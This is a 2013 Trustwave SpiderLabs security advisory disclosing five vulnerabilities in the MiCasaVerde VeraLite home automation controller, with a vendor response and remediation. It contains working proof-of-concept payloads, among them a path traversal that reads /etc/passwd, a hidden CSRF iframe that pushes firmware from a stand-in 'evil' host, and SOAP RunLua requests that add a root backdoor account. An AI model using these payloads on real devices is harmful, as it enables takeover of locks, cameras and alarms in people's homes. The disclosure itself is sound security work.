MiCasaVerde VeraLite 1.5.408 – Multiple Vulnerabilities

  • 作者: Trustwave's SpiderLabs
    日期: 2013-08-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27286/
  • Trustwave SpiderLabs Security Advisory TWSL2013-019:
    Multiple Vulnerabilities in MiCasaVerde VeraLite
    
    Published: 08/01/13
    Version: 1.0
    
    Vendor: MiCasaVerde (http://www.micasaverde.com/)
    Product: VeraLite
    Version affected:1.5.408
    
    Product description:
    The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product
    which centralizes control over home automation devices such as door locks,
    window blinds, security cameras, smoke detectors, HVAC systems, lights,
    etc.
    
    Finding 1: Path Traversal
    *****Credit: Daniel Crowley of Trustwave SpiderLabs
    CVE: CVE-2013-4861
    CWE: CWE-23
    
    The VeraLite has a path traversal vulnerability allowing for disclosure of
    arbitrary files. This allows an attacker to retrieve the contents of any
    file on the system such as the /etc/passwd file which contains the hashed
    root password as well as the tech support remote access password if remote
    access has been configured.
    
    A proof of concept can be run against a VeraLite by using the following URL:
    GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd
    
    On a newly unboxed VeraLite, this shouldn't work as the first part of the
    path used by the script doesn't exist, but the directory which must exist
    for exploitation to work correctly can be created by using the
    store_file.sh script, like so:
    
    GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test
    
    This attack can also be launched through the Internet-based control panel
    at cp.mios.com when logged in as either an admin or guest level account.
    
    Finding 2: Insufficient Authorization Checks
    *****Credit: Daniel Crowley of Trustwave SpiderLabs
    CVE: CVE-2013-4862
    CWE: CWE-285
    
    The VeraLite makes a distinction between Administrator and Guest users such
    that Guest users should not be able to make changes to the configuration of
    the system. There are several functionalities included in the VeraLite
    console available to Guest level users which can be used to escalate
    privileges.
    
    A) Firmware update - This allows a guest to push custom firmware to the
    unit and can allow for full compromise of the device.
    
    A proof of concept can be seen using the following URL:
    GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs
    
    B) Settings backup - This allows a guest to obtain copies of various
    sensitive files, including the lighttpd.users file which contains hashed
    cp.mios.com passwords, and the passwd file which contains the hashed root
    password.
    
    GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1
    
    C) Test Luup code (Lua) - This allows a guest to run Lua code on the
    VeraLite as root. A backdoor account can be added with the following POST
    request:
    
    POST /port_49451/upnp/control/hag HTTP/1.1
    Host: A.B.C.D
    Accept: text/javascript, text/html, application/xml, text/xml, */*
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    X-Prototype-Version: 1.7
    Content-Type: text/xml;charset=UTF-8
    MIME-Version: 1.0
    SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
    Content-Length: 311
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    
    <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"><DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code></u:RunLua></s:Body></s:Envelope>
    
    
    Finding 3: Insufficient Authentication Checks
    *****Credit: Daniel Crowley of Trustwave SpiderLabs
    CVE: CVE-2013-4863
    CWE: CWE-287
    
    The VeraLite exposes UPnP functionality which allows for Lua code to be run
    as root from the LAN without authentication using the RunLua action in the
    HomeAutomationGateway service of the HomeAutomationGateway device. A
    backdoor account can be added with the following POST request to port
    49451:
    
    POST /upnp/control/hag HTTP/1.1
    Host: A.B.C.D:49451
    Accept: text/javascript, text/html, application/xml, text/xml, */*
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    X-Prototype-Version: 1.7
    Content-Type: text/xml;charset=UTF-8
    MIME-Version: 1.0
    SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
    Content-Length: 311
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    
    <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"><DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code></u:RunLua></s:Body></s:Envelope>
    
    Finding 4: Server-Side Request Forgery
    *****Credit: Daniel Crowley of Trustwave SpiderLabs
    CVE: CVE-2013-4864
    CWE: CWE-918
    
    The VeraLite will make HTTP requests on behalf of a user using the
    /cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of
    trustwave.com is as follows:
    
    GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com
    
    This allows an attacker to bypass firewall controls, use the VeraLite as a proxy
    
    
    Finding 5: Cross-Site Request Forgery
    *****Credit: Daniel Crowley of Trustwave SpiderLabs
    CVE: CVE-2013-4865
    CWE: CWE-352
    
    The VeraLite does not implement any defense against cross-site request
    forgery. A proof of concept as seen below can cause a Vera user to update
    their firmware using a custom firmware URL:
    
    <html>
    <body>
    <iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1">
    </iframe>
    </body>
    </html>
    
    If this PoC was embedded in any web page a targeted user visited, an
    attacker would be able to make arbitrary changes to the firmware on the
    device, allowing the potential for remote root access.
    
    Vendor Response:
    "...the "vulnerabilities" you referred to were deliberate design decisions
    because that's what the customers in this particular channel (ie Vera
    retail) want.As you can see we have an open forum to discuss this, and
    very people object to leaving Vera open.So we are not able to lock down
    the gateway, and effectively break the systems of many customers who rely
    on the open system to run their own scripts and plugins."
    
    Remediation Steps:
    No official patch is available.To limit exposure,
    network access to these devices should be limited to authorized
    personnel through the use of access control lists and proper
    network segmentation.
    
    Revision History:
    04/23/13 - Vulnerability disclosed to vendor
    06/04/13 - Vendor confirms they will not fix
    08/01/13 - Advisory published
    
    
    References
    1. http://www.micasaverde.com/
    
    
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